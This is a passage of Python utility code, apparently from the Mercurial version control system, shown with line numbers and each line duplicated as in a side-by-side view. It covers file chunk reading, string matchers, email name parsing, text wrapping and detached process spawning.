2239 """Create a generator that produces the data in the file size
2240 (default 131072) bytes at a time, up to optional limit (default is
2240 (default 131072) bytes at a time, up to optional limit (default is
2241 to read all data). Chunks may be less than size bytes if the
2241 to read all data). Chunks may be less than size bytes if the
2242 chunk is the last chunk in the file, or the file is a socket or
2242 chunk is the last chunk in the file, or the file is a socket or
2243 some other type of file that sometimes reads less data than is
2243 some other type of file that sometimes reads less data than is
2244 requested."""
2244 requested."""
2245 assert size >= 0
2245 assert size >= 0
2246 assert limit is None or limit >= 0
2246 assert limit is None or limit >= 0
2247 while True:
2247 while True:
2248 if limit is None:
2248 if limit is None:
2249 nbytes = size
2249 nbytes = size
2250 else:
2250 else:
2251 nbytes = min(limit, size)
2251 nbytes = min(limit, size)
2252 s = nbytes and f.read(nbytes)
2252 s = nbytes and f.read(nbytes)
2253 if not s:
2253 if not s:
2254 break
2254 break
2255 if limit:
2255 if limit:
2256 limit -= len(s)
2256 limit -= len(s)
2257 yield s
2257 yield s
2258
2258
2259 class cappedreader(object):
2259 class cappedreader(object):
2260 """A file object proxy that allows reading up to N bytes.
2260 """A file object proxy that allows reading up to N bytes.
2261
2261
2262 Given a source file object, instances of this type allow reading up to
2262 Given a source file object, instances of this type allow reading up to
2263 N bytes from that source file object. Attempts to read past the allowed
2263 N bytes from that source file object. Attempts to read past the allowed
2264 limit are treated as EOF.
2264 limit are treated as EOF.
2265
2265
2266 It is assumed that I/O is not performed on the original file object
2266 It is assumed that I/O is not performed on the original file object
2267 in addition to I/O that is performed by this instance. If there is,
2267 in addition to I/O that is performed by this instance. If there is,
2268 state tracking will get out of sync and unexpected results will ensue.
2268 state tracking will get out of sync and unexpected results will ensue.
2269 """
2269 """
2270 def __init__(self, fh, limit):
2270 def __init__(self, fh, limit):
2271 """Allow reading up to <limit> bytes from <fh>."""
2271 """Allow reading up to <limit> bytes from <fh>."""
2272 self._fh = fh
2272 self._fh = fh
2273 self._left = limit
2273 self._left = limit
2274
2274
2275 def read(self, n=-1):
2275 def read(self, n=-1):
2276 if not self._left:
2276 if not self._left:
2277 return b''
2277 return b''
2278
2278
2279 if n < 0:
2279 if n < 0:
2280 n = self._left
2280 n = self._left
2281
2281
2282 data = self._fh.read(min(n, self._left))
2282 data = self._fh.read(min(n, self._left))
2283 self._left -= len(data)
2283 self._left -= len(data)
2284 assert self._left >= 0
2284 assert self._left >= 0
2285
2285
2286 return data
2286 return data
2287
2287
2288 def stringmatcher(pattern, casesensitive=True):
2288 def stringmatcher(pattern, casesensitive=True):
2289 """
2289 """
2290 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2290 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2291 returns the matcher name, pattern, and matcher function.
2291 returns the matcher name, pattern, and matcher function.
2292 missing or unknown prefixes are treated as literal matches.
2292 missing or unknown prefixes are treated as literal matches.
2293
2293
2294 helper for tests:
2294 helper for tests:
2295 >>> def test(pattern, *tests):
2295 >>> def test(pattern, *tests):
2296 ... kind, pattern, matcher = stringmatcher(pattern)
2296 ... kind, pattern, matcher = stringmatcher(pattern)
2297 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2297 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2298 >>> def itest(pattern, *tests):
2298 >>> def itest(pattern, *tests):
2299 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2299 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2300 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2300 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2301
2301
2302 exact matching (no prefix):
2302 exact matching (no prefix):
2303 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2303 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2304 ('literal', 'abcdefg', [False, False, True])
2304 ('literal', 'abcdefg', [False, False, True])
2305
2305
2306 regex matching ('re:' prefix)
2306 regex matching ('re:' prefix)
2307 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2307 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2308 ('re', 'a.+b', [False, False, True])
2308 ('re', 'a.+b', [False, False, True])
2309
2309
2310 force exact matches ('literal:' prefix)
2310 force exact matches ('literal:' prefix)
2311 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2311 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2312 ('literal', 're:foobar', [False, True])
2312 ('literal', 're:foobar', [False, True])
2313
2313
2314 unknown prefixes are ignored and treated as literals
2314 unknown prefixes are ignored and treated as literals
2315 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2315 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2316 ('literal', 'foo:bar', [False, False, True])
2316 ('literal', 'foo:bar', [False, False, True])
2317
2317
2318 case insensitive regex matches
2318 case insensitive regex matches
2319 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2319 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2320 ('re', 'A.+b', [False, False, True])
2320 ('re', 'A.+b', [False, False, True])
2321
2321
2322 case insensitive literal matches
2322 case insensitive literal matches
2323 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2323 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2324 ('literal', 'ABCDEFG', [False, False, True])
2324 ('literal', 'ABCDEFG', [False, False, True])
2325 """
2325 """
2326 if pattern.startswith('re:'):
2326 if pattern.startswith('re:'):
2327 pattern = pattern[3:]
2327 pattern = pattern[3:]
2328 try:
2328 try:
2329 flags = 0
2329 flags = 0
2330 if not casesensitive:
2330 if not casesensitive:
2331 flags = remod.I
2331 flags = remod.I
2332 regex = remod.compile(pattern, flags)
2332 regex = remod.compile(pattern, flags)
2333 except remod.error as e:
2333 except remod.error as e:
2334 raise error.ParseError(_('invalid regular expression: %s')
2334 raise error.ParseError(_('invalid regular expression: %s')
2335 % e)
2335 % e)
2336 return 're', pattern, regex.search
2336 return 're', pattern, regex.search
2337 elif pattern.startswith('literal:'):
2337 elif pattern.startswith('literal:'):
2338 pattern = pattern[8:]
2338 pattern = pattern[8:]
2339
2339
2340 match = pattern.__eq__
2340 match = pattern.__eq__
2341
2341
2342 if not casesensitive:
2342 if not casesensitive:
2343 ipat = encoding.lower(pattern)
2343 ipat = encoding.lower(pattern)
2344 match = lambda s: ipat == encoding.lower(s)
2344 match = lambda s: ipat == encoding.lower(s)
2345 return 'literal', pattern, match
2345 return 'literal', pattern, match
2346
2346
2347 def shortuser(user):
2347 def shortuser(user):
2348 """Return a short representation of a user name or email address."""
2348 """Return a short representation of a user name or email address."""
2349 f = user.find('@')
2349 f = user.find('@')
2350 if f >= 0:
2350 if f >= 0:
2351 user = user[:f]
2351 user = user[:f]
2352 f = user.find('<')
2352 f = user.find('<')
2353 if f >= 0:
2353 if f >= 0:
2354 user = user[f + 1:]
2354 user = user[f + 1:]
2355 f = user.find(' ')
2355 f = user.find(' ')
2356 if f >= 0:
2356 if f >= 0:
2357 user = user[:f]
2357 user = user[:f]
2358 f = user.find('.')
2358 f = user.find('.')
2359 if f >= 0:
2359 if f >= 0:
2360 user = user[:f]
2360 user = user[:f]
2361 return user
2361 return user
2362
2362
2363 def emailuser(user):
2363 def emailuser(user):
2364 """Return the user portion of an email address."""
2364 """Return the user portion of an email address."""
2365 f = user.find('@')
2365 f = user.find('@')
2366 if f >= 0:
2366 if f >= 0:
2367 user = user[:f]
2367 user = user[:f]
2368 f = user.find('<')
2368 f = user.find('<')
2369 if f >= 0:
2369 if f >= 0:
2370 user = user[f + 1:]
2370 user = user[f + 1:]
2371 return user
2371 return user
2372
2372
2373 def email(author):
2373 def email(author):
2374 '''get email of author.'''
2374 '''get email of author.'''
2375 r = author.find('>')
2375 r = author.find('>')
2376 if r == -1:
2376 if r == -1:
2377 r = None
2377 r = None
2378 return author[author.find('<') + 1:r]
2378 return author[author.find('<') + 1:r]
2379
2379
2380 def ellipsis(text, maxlength=400):
2380 def ellipsis(text, maxlength=400):
2381 """Trim string to at most maxlength (default: 400) columns in display."""
2381 """Trim string to at most maxlength (default: 400) columns in display."""
2382 return encoding.trim(text, maxlength, ellipsis='...')
2382 return encoding.trim(text, maxlength, ellipsis='...')
2383
2383
2384 def unitcountfn(*unittable):
2384 def unitcountfn(*unittable):
2385 '''return a function that renders a readable count of some quantity'''
2385 '''return a function that renders a readable count of some quantity'''
2386
2386
2387 def go(count):
2387 def go(count):
2388 for multiplier, divisor, format in unittable:
2388 for multiplier, divisor, format in unittable:
2389 if abs(count) >= divisor * multiplier:
2389 if abs(count) >= divisor * multiplier:
2390 return format % (count / float(divisor))
2390 return format % (count / float(divisor))
2391 return unittable[-1][2] % count
2391 return unittable[-1][2] % count
2392
2392
2393 return go
2393 return go
2394
2394
2395 def processlinerange(fromline, toline):
2395 def processlinerange(fromline, toline):
2396 """Check that linerange <fromline>:<toline> makes sense and return a
2396 """Check that linerange <fromline>:<toline> makes sense and return a
2397 0-based range.
2397 0-based range.
2398
2398
2399 >>> processlinerange(10, 20)
2399 >>> processlinerange(10, 20)
2400 (9, 20)
2400 (9, 20)
2401 >>> processlinerange(2, 1)
2401 >>> processlinerange(2, 1)
2402 Traceback (most recent call last):
2402 Traceback (most recent call last):
2403 ...
2403 ...
2404 ParseError: line range must be positive
2404 ParseError: line range must be positive
2405 >>> processlinerange(0, 5)
2405 >>> processlinerange(0, 5)
2406 Traceback (most recent call last):
2406 Traceback (most recent call last):
2407 ...
2407 ...
2408 ParseError: fromline must be strictly positive
2408 ParseError: fromline must be strictly positive
2409 """
2409 """
2410 if toline - fromline < 0:
2410 if toline - fromline < 0:
2411 raise error.ParseError(_("line range must be positive"))
2411 raise error.ParseError(_("line range must be positive"))
2412 if fromline < 1:
2412 if fromline < 1:
2413 raise error.ParseError(_("fromline must be strictly positive"))
2413 raise error.ParseError(_("fromline must be strictly positive"))
2414 return fromline - 1, toline
2414 return fromline - 1, toline
2415
2415
2416 bytecount = unitcountfn(
2416 bytecount = unitcountfn(
2417 (100, 1 << 30, _('%.0f GB')),
2417 (100, 1 << 30, _('%.0f GB')),
2418 (10, 1 << 30, _('%.1f GB')),
2418 (10, 1 << 30, _('%.1f GB')),
2419 (1, 1 << 30, _('%.2f GB')),
2419 (1, 1 << 30, _('%.2f GB')),
2420 (100, 1 << 20, _('%.0f MB')),
2420 (100, 1 << 20, _('%.0f MB')),
2421 (10, 1 << 20, _('%.1f MB')),
2421 (10, 1 << 20, _('%.1f MB')),
2422 (1, 1 << 20, _('%.2f MB')),
2422 (1, 1 << 20, _('%.2f MB')),
2423 (100, 1 << 10, _('%.0f KB')),
2423 (100, 1 << 10, _('%.0f KB')),
2424 (10, 1 << 10, _('%.1f KB')),
2424 (10, 1 << 10, _('%.1f KB')),
2425 (1, 1 << 10, _('%.2f KB')),
2425 (1, 1 << 10, _('%.2f KB')),
2426 (1, 1, _('%.0f bytes')),
2426 (1, 1, _('%.0f bytes')),
2427 )
2427 )
2428
2428
2429 # Matches a single EOL which can either be a CRLF where repeated CR
2429 # Matches a single EOL which can either be a CRLF where repeated CR
2430 # are removed or a LF. We do not care about old Macintosh files, so a
2430 # are removed or a LF. We do not care about old Macintosh files, so a
2431 # stray CR is an error.
2431 # stray CR is an error.
2432 _eolre = remod.compile(br'\r*\n')
2432 _eolre = remod.compile(br'\r*\n')
2433
2433
2434 def tolf(s):
2434 def tolf(s):
2435 return _eolre.sub('\n', s)
2435 return _eolre.sub('\n', s)
2436
2436
2437 def tocrlf(s):
2437 def tocrlf(s):
2438 return _eolre.sub('\r\n', s)
2438 return _eolre.sub('\r\n', s)
2439
2439
2440 if pycompat.oslinesep == '\r\n':
2440 if pycompat.oslinesep == '\r\n':
2441 tonativeeol = tocrlf
2441 tonativeeol = tocrlf
2442 fromnativeeol = tolf
2442 fromnativeeol = tolf
2443 else:
2443 else:
2444 tonativeeol = pycompat.identity
2444 tonativeeol = pycompat.identity
2445 fromnativeeol = pycompat.identity
2445 fromnativeeol = pycompat.identity
2446
2446
2447 def escapestr(s):
2447 def escapestr(s):
2448 # call underlying function of s.encode('string_escape') directly for
2448 # call underlying function of s.encode('string_escape') directly for
2449 # Python 3 compatibility
2449 # Python 3 compatibility
2450 return codecs.escape_encode(s)[0]
2450 return codecs.escape_encode(s)[0]
2451
2451
2452 def unescapestr(s):
2452 def unescapestr(s):
2453 return codecs.escape_decode(s)[0]
2453 return codecs.escape_decode(s)[0]
2454
2454
2455 def forcebytestr(obj):
2455 def forcebytestr(obj):
2456 """Portably format an arbitrary object (e.g. exception) into a byte
2456 """Portably format an arbitrary object (e.g. exception) into a byte
2457 string."""
2457 string."""
2458 try:
2458 try:
2459 return pycompat.bytestr(obj)
2459 return pycompat.bytestr(obj)
2460 except UnicodeEncodeError:
2460 except UnicodeEncodeError:
2461 # non-ascii string, may be lossy
2461 # non-ascii string, may be lossy
2462 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2462 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2463
2463
2464 def uirepr(s):
2464 def uirepr(s):
2465 # Avoid double backslash in Windows path repr()
2465 # Avoid double backslash in Windows path repr()
2466 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2466 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2467
2467
2468 # delay import of textwrap
2468 # delay import of textwrap
2469 def MBTextWrapper(**kwargs):
2469 def MBTextWrapper(**kwargs):
2470 class tw(textwrap.TextWrapper):
2470 class tw(textwrap.TextWrapper):
2471 """
2471 """
2472 Extend TextWrapper for width-awareness.
2472 Extend TextWrapper for width-awareness.
2473
2473
2474 Neither number of 'bytes' in any encoding nor 'characters' is
2474 Neither number of 'bytes' in any encoding nor 'characters' is
2475 appropriate to calculate terminal columns for specified string.
2475 appropriate to calculate terminal columns for specified string.
2476
2476
2477 Original TextWrapper implementation uses built-in 'len()' directly,
2477 Original TextWrapper implementation uses built-in 'len()' directly,
2478 so overriding is needed to use width information of each characters.
2478 so overriding is needed to use width information of each characters.
2479
2479
2480 In addition, characters classified into 'ambiguous' width are
2480 In addition, characters classified into 'ambiguous' width are
2481 treated as wide in East Asian area, but as narrow in other.
2481 treated as wide in East Asian area, but as narrow in other.
2482
2482
2483 This requires use decision to determine width of such characters.
2483 This requires use decision to determine width of such characters.
2484 """
2484 """
2485 def _cutdown(self, ucstr, space_left):
2485 def _cutdown(self, ucstr, space_left):
2486 l = 0
2486 l = 0
2487 colwidth = encoding.ucolwidth
2487 colwidth = encoding.ucolwidth
2488 for i in xrange(len(ucstr)):
2488 for i in xrange(len(ucstr)):
2489 l += colwidth(ucstr[i])
2489 l += colwidth(ucstr[i])
2490 if space_left < l:
2490 if space_left < l:
2491 return (ucstr[:i], ucstr[i:])
2491 return (ucstr[:i], ucstr[i:])
2492 return ucstr, ''
2492 return ucstr, ''
2493
2493
2494 # overriding of base class
2494 # overriding of base class
2495 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2495 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2496 space_left = max(width - cur_len, 1)
2496 space_left = max(width - cur_len, 1)
2497
2497
2498 if self.break_long_words:
2498 if self.break_long_words:
2499 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2499 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2500 cur_line.append(cut)
2500 cur_line.append(cut)
2501 reversed_chunks[-1] = res
2501 reversed_chunks[-1] = res
2502 elif not cur_line:
2502 elif not cur_line:
2503 cur_line.append(reversed_chunks.pop())
2503 cur_line.append(reversed_chunks.pop())
2504
2504
2505 # this overriding code is imported from TextWrapper of Python 2.6
2505 # this overriding code is imported from TextWrapper of Python 2.6
2506 # to calculate columns of string by 'encoding.ucolwidth()'
2506 # to calculate columns of string by 'encoding.ucolwidth()'
2507 def _wrap_chunks(self, chunks):
2507 def _wrap_chunks(self, chunks):
2508 colwidth = encoding.ucolwidth
2508 colwidth = encoding.ucolwidth
2509
2509
2510 lines = []
2510 lines = []
2511 if self.width <= 0:
2511 if self.width <= 0:
2512 raise ValueError("invalid width %r (must be > 0)" % self.width)
2512 raise ValueError("invalid width %r (must be > 0)" % self.width)
2513
2513
2514 # Arrange in reverse order so items can be efficiently popped
2514 # Arrange in reverse order so items can be efficiently popped
2515 # from a stack of chucks.
2515 # from a stack of chucks.
2516 chunks.reverse()
2516 chunks.reverse()
2517
2517
2518 while chunks:
2518 while chunks:
2519
2519
2520 # Start the list of chunks that will make up the current line.
2520 # Start the list of chunks that will make up the current line.
2521 # cur_len is just the length of all the chunks in cur_line.
2521 # cur_len is just the length of all the chunks in cur_line.
2522 cur_line = []
2522 cur_line = []
2523 cur_len = 0
2523 cur_len = 0
2524
2524
2525 # Figure out which static string will prefix this line.
2525 # Figure out which static string will prefix this line.
2526 if lines:
2526 if lines:
2527 indent = self.subsequent_indent
2527 indent = self.subsequent_indent
2528 else:
2528 else:
2529 indent = self.initial_indent
2529 indent = self.initial_indent
2530
2530
2531 # Maximum width for this line.
2531 # Maximum width for this line.
2532 width = self.width - len(indent)
2532 width = self.width - len(indent)
2533
2533
2534 # First chunk on line is whitespace -- drop it, unless this
2534 # First chunk on line is whitespace -- drop it, unless this
2535 # is the very beginning of the text (i.e. no lines started yet).
2535 # is the very beginning of the text (i.e. no lines started yet).
2536 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2536 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2537 del chunks[-1]
2537 del chunks[-1]
2538
2538
2539 while chunks:
2539 while chunks:
2540 l = colwidth(chunks[-1])
2540 l = colwidth(chunks[-1])
2541
2541
2542 # Can at least squeeze this chunk onto the current line.
2542 # Can at least squeeze this chunk onto the current line.
2543 if cur_len + l <= width:
2543 if cur_len + l <= width:
2544 cur_line.append(chunks.pop())
2544 cur_line.append(chunks.pop())
2545 cur_len += l
2545 cur_len += l
2546
2546
2547 # Nope, this line is full.
2547 # Nope, this line is full.
2548 else:
2548 else:
2549 break
2549 break
2550
2550
2551 # The current line is full, and the next chunk is too big to
2551 # The current line is full, and the next chunk is too big to
2552 # fit on *any* line (not just this one).
2552 # fit on *any* line (not just this one).
2553 if chunks and colwidth(chunks[-1]) > width:
2553 if chunks and colwidth(chunks[-1]) > width:
2554 self._handle_long_word(chunks, cur_line, cur_len, width)
2554 self._handle_long_word(chunks, cur_line, cur_len, width)
2555
2555
2556 # If the last chunk on this line is all whitespace, drop it.
2556 # If the last chunk on this line is all whitespace, drop it.
2557 if (self.drop_whitespace and
2557 if (self.drop_whitespace and
2558 cur_line and cur_line[-1].strip() == r''):
2558 cur_line and cur_line[-1].strip() == r''):
2559 del cur_line[-1]
2559 del cur_line[-1]
2560
2560
2561 # Convert current line back to a string and store it in list
2561 # Convert current line back to a string and store it in list
2562 # of all lines (return value).
2562 # of all lines (return value).
2563 if cur_line:
2563 if cur_line:
2564 lines.append(indent + r''.join(cur_line))
2564 lines.append(indent + r''.join(cur_line))
2565
2565
2566 return lines
2566 return lines
2567
2567
2568 global MBTextWrapper
2568 global MBTextWrapper
2569 MBTextWrapper = tw
2569 MBTextWrapper = tw
2570 return tw(**kwargs)
2570 return tw(**kwargs)
2571
2571
2572 def wrap(line, width, initindent='', hangindent=''):
2572 def wrap(line, width, initindent='', hangindent=''):
2573 maxindent = max(len(hangindent), len(initindent))
2573 maxindent = max(len(hangindent), len(initindent))
2574 if width <= maxindent:
2574 if width <= maxindent:
2575 # adjust for weird terminal size
2575 # adjust for weird terminal size
2576 width = max(78, maxindent + 1)
2576 width = max(78, maxindent + 1)
2577 line = line.decode(pycompat.sysstr(encoding.encoding),
2577 line = line.decode(pycompat.sysstr(encoding.encoding),
2578 pycompat.sysstr(encoding.encodingmode))
2578 pycompat.sysstr(encoding.encodingmode))
2579 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2579 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2580 pycompat.sysstr(encoding.encodingmode))
2580 pycompat.sysstr(encoding.encodingmode))
2581 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2581 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2582 pycompat.sysstr(encoding.encodingmode))
2582 pycompat.sysstr(encoding.encodingmode))
2583 wrapper = MBTextWrapper(width=width,
2583 wrapper = MBTextWrapper(width=width,
2584 initial_indent=initindent,
2584 initial_indent=initindent,
2585 subsequent_indent=hangindent)
2585 subsequent_indent=hangindent)
2586 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2586 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2587
2587
2588 if (pyplatform.python_implementation() == 'CPython' and
2588 if (pyplatform.python_implementation() == 'CPython' and
2589 sys.version_info < (3, 0)):
2589 sys.version_info < (3, 0)):
2590 # There is an issue in CPython that some IO methods do not handle EINTR
2590 # There is an issue in CPython that some IO methods do not handle EINTR
2591 # correctly. The following table shows what CPython version (and functions)
2591 # correctly. The following table shows what CPython version (and functions)
2592 # are affected (buggy: has the EINTR bug, okay: otherwise):
2592 # are affected (buggy: has the EINTR bug, okay: otherwise):
2593 #
2593 #
2594 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2594 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2595 # --------------------------------------------------
2595 # --------------------------------------------------
2596 # fp.__iter__ | buggy | buggy | okay
2596 # fp.__iter__ | buggy | buggy | okay
2597 # fp.read* | buggy | okay [1] | okay
2597 # fp.read* | buggy | okay [1] | okay
2598 #
2598 #
2599 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2599 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2600 #
2600 #
2601 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2601 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2602 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2602 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2603 #
2603 #
2604 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2604 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2605 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2605 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2606 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2606 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2607 # fp.__iter__ but not other fp.read* methods.
2607 # fp.__iter__ but not other fp.read* methods.
2608 #
2608 #
2609 # On modern systems like Linux, the "read" syscall cannot be interrupted
2609 # On modern systems like Linux, the "read" syscall cannot be interrupted
2610 # when reading "fast" files like on-disk files. So the EINTR issue only
2610 # when reading "fast" files like on-disk files. So the EINTR issue only
2611 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2611 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2612 # files approximately as "fast" files and use the fast (unsafe) code path,
2612 # files approximately as "fast" files and use the fast (unsafe) code path,
2613 # to minimize the performance impact.
2613 # to minimize the performance impact.
2614 if sys.version_info >= (2, 7, 4):
2614 if sys.version_info >= (2, 7, 4):
2615 # fp.readline deals with EINTR correctly, use it as a workaround.
2615 # fp.readline deals with EINTR correctly, use it as a workaround.
2616 def _safeiterfile(fp):
2616 def _safeiterfile(fp):
2617 return iter(fp.readline, '')
2617 return iter(fp.readline, '')
2618 else:
2618 else:
2619 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2619 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2620 # note: this may block longer than necessary because of bufsize.
2620 # note: this may block longer than necessary because of bufsize.
2621 def _safeiterfile(fp, bufsize=4096):
2621 def _safeiterfile(fp, bufsize=4096):
2622 fd = fp.fileno()
2622 fd = fp.fileno()
2623 line = ''
2623 line = ''
2624 while True:
2624 while True:
2625 try:
2625 try:
2626 buf = os.read(fd, bufsize)
2626 buf = os.read(fd, bufsize)
2627 except OSError as ex:
2627 except OSError as ex:
2628 # os.read only raises EINTR before any data is read
2628 # os.read only raises EINTR before any data is read
2629 if ex.errno == errno.EINTR:
2629 if ex.errno == errno.EINTR:
2630 continue
2630 continue
2631 else:
2631 else:
2632 raise
2632 raise
2633 line += buf
2633 line += buf
2634 if '\n' in buf:
2634 if '\n' in buf:
2635 splitted = line.splitlines(True)
2635 splitted = line.splitlines(True)
2636 line = ''
2636 line = ''
2637 for l in splitted:
2637 for l in splitted:
2638 if l[-1] == '\n':
2638 if l[-1] == '\n':
2639 yield l
2639 yield l
2640 else:
2640 else:
2641 line = l
2641 line = l
2642 if not buf:
2642 if not buf:
2643 break
2643 break
2644 if line:
2644 if line:
2645 yield line
2645 yield line
2646
2646
2647 def iterfile(fp):
2647 def iterfile(fp):
2648 fastpath = True
2648 fastpath = True
2649 if type(fp) is file:
2649 if type(fp) is file:
2650 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2650 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2651 if fastpath:
2651 if fastpath:
2652 return fp
2652 return fp
2653 else:
2653 else:
2654 return _safeiterfile(fp)
2654 return _safeiterfile(fp)
2655 else:
2655 else:
2656 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2656 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2657 def iterfile(fp):
2657 def iterfile(fp):
2658 return fp
2658 return fp
2659
2659
2660 def iterlines(iterator):
2660 def iterlines(iterator):
2661 for chunk in iterator:
2661 for chunk in iterator:
2662 for line in chunk.splitlines():
2662 for line in chunk.splitlines():
2663 yield line
2663 yield line
2664
2664
2665 def expandpath(path):
2665 def expandpath(path):
2666 return os.path.expanduser(os.path.expandvars(path))
2666 return os.path.expanduser(os.path.expandvars(path))
2667
2667
2668 def hgcmd():
2668 def hgcmd():
2669 """Return the command used to execute current hg
2669 """Return the command used to execute current hg
2670
2670
2671 This is different from hgexecutable() because on Windows we want
2671 This is different from hgexecutable() because on Windows we want
2672 to avoid things opening new shell windows like batch files, so we
2672 to avoid things opening new shell windows like batch files, so we
2673 get either the python call or current executable.
2673 get either the python call or current executable.
2674 """
2674 """
2675 if mainfrozen():
2675 if mainfrozen():
2676 if getattr(sys, 'frozen', None) == 'macosx_app':
2676 if getattr(sys, 'frozen', None) == 'macosx_app':
2677 # Env variable set by py2app
2677 # Env variable set by py2app
2678 return [encoding.environ['EXECUTABLEPATH']]
2678 return [encoding.environ['EXECUTABLEPATH']]
2679 else:
2679 else:
2680 return [pycompat.sysexecutable]
2680 return [pycompat.sysexecutable]
2681 return gethgcmd()
2681 return gethgcmd()
2682
2682
2683 def rundetached(args, condfn):
2683 def rundetached(args, condfn):
2684 """Execute the argument list in a detached process.
2684 """Execute the argument list in a detached process.
2685
2685
2686 condfn is a callable which is called repeatedly and should return
2686 condfn is a callable which is called repeatedly and should return
2687 True once the child process is known to have started successfully.
2687 True once the child process is known to have started successfully.
2688 At this point, the child process PID is returned. If the child
2688 At this point, the child process PID is returned. If the child
2689 process fails to start or finishes before condfn() evaluates to
2689 process fails to start or finishes before condfn() evaluates to
2690 True, return -1.
2690 True, return -1.
2691 """
2691 """
2692 # Windows case is easier because the child process is either
2692 # Windows case is easier because the child process is either
2693 # successfully starting and validating the condition or exiting
2693 # successfully starting and validating the condition or exiting
2694 # on failure. We just poll on its PID. On Unix, if the child
2694 # on failure. We just poll on its PID. On Unix, if the child
2695 # process fails to start, it will be left in a zombie state until
2695 # process fails to start, it will be left in a zombie state until
2696 # the parent wait on it, which we cannot do since we expect a long
2696 # the parent wait on it, which we cannot do since we expect a long
2697 # running process on success. Instead we listen for SIGCHLD telling
2697 # running process on success. Instead we listen for SIGCHLD telling
2698 # us our child process terminated.
2698 # us our child process terminated.
2699 terminated = set()
2699 terminated = set()
2700 def handler(signum, frame):
2700 def handler(signum, frame):
2701 terminated.add(os.wait())
2701 terminated.add(os.wait())
2702 prevhandler = None
2702 prevhandler = None
2703 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2703 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2704 if SIGCHLD is not None:
2704 if SIGCHLD is not None:
2705 prevhandler = signal.signal(SIGCHLD, handler)
2705 prevhandler = signal.signal(SIGCHLD, handler)
2706 try:
2706 try:
2707 pid = spawndetached(args)
2707 pid = spawndetached(args)
2708 while not condfn():
2708 while not condfn():
2709 if ((pid in terminated or not testpid(pid))
2709 if ((pid in terminated or not testpid(pid))
2710 and not condfn()):
2710 and not condfn()):
2711 return -1
2711 return -1
2712 time.sleep(0.1)
2712 time.sleep(0.1)
2713 return pid
2713 return pid
2714 finally:
2714 finally:
2715 if prevhandler is not None:
2715 if prevhandler is not None:
2716 signal.signal(signal.SIGCHLD, prevhandler)
2716 signal.signal(signal.SIGCHLD, prevhandler)
2717
2717
2718 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2718 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2719 """Return the result of interpolating items in the mapping into string s.
2719 """Return the result of interpolating items in the mapping into string s.
2720
2720
2721 prefix is a single character string, or a two character string with
2721 prefix is a single character string, or a two character string with
2722 a backslash as the first character if the prefix needs to be escaped in
2722 a backslash as the first character if the prefix needs to be escaped in
2723 a regular expression.
2723 a regular expression.
2724
2724
2725 fn is an optional function that will be applied to the replacement text
2725 fn is an optional function that will be applied to the replacement text
2726 just before replacement.
2726 just before replacement.
2727
2727
2728 escape_prefix is an optional flag that allows using doubled prefix for
2728 escape_prefix is an optional flag that allows using doubled prefix for
2729 its escaping.
2729 its escaping.
2730 """
2730 """
2731 fn = fn or (lambda s: s)
2731 fn = fn or (lambda s: s)
